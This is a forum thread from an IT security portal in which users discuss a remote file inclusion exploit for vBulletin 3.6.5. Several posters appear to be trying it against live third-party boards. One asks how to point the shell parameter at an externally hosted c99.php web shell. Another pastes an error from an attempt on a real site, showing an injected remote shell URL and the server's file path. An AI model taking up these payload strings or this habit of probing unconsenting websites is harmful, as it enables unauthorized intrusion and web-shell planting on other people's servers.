 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 99
 Members: 0
 Total: 99
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
vbulletin 3.6.5 RFI exploit |
|
 Posted: Sun Oct 05, 2008 11:17 am |
 |
|
| stony2 |
| Beginner |
 |
|
| Joined: Oct 05, 2008 |
| Posts: 1 |
|
|
|
 |
|
 |
|
hi
has someone tried this and can confirm it works?
http://securityreason.com/securityalert/2941
another question: this board displays the msg "Powered by vBulletin® Version 3.6.5 (Deutsch)"
there is no 100% proof that this is the correct version, is it?
greets |
|
|
|
|
| Posted: Sun Oct 05, 2008 1:06 pm |
|
|
| pexli |
| Valuable expert |
 |
|
| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
|
|
|
|
|
|
In most cases allow_url_include is OFF.
Xploit Failed.  |
|
|
|
|
| Posted: Mon Jan 12, 2009 11:53 am |
|
|
| Reelix |
| Regular user |
|
|
| Joined: Jan 06, 2009 |
| Posts: 20 |
|
|
|
|
|
|
|
I'm also "playing around" with a:
"Powered by vBulletin® Version 3.6.5"
The exploit stated above shows "=[Shell-Attack]"
Does "[Shell-Attack]" mean commands being executed from that shell, (ls, etc), the location an external shell (=http://www.seperateShelledSite.com/c99.php), or what?
Any examples? (Only after the =, to not reveal a specific site)
I thank you for your time!
- Reelix |
|
|
|
|
|
seems it ll work.. |
|
| Posted: Mon Jan 12, 2009 12:52 pm |
|
|
| indish3ll |
| Regular user |
|
|
| Joined: Jan 10, 2009 |
| Posts: 23 |
|
|
|
|
|
|
|
I just tried one website.. getting bellow errors
Warning: parse_url(/vb/includes/functions.php?nextitem=http://shell.php) [function.parse-url]: Unable to parse URL in /home/nbforums/public_html/forums/reviews/rewrites.php on line 44 |
|
|
|
|
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
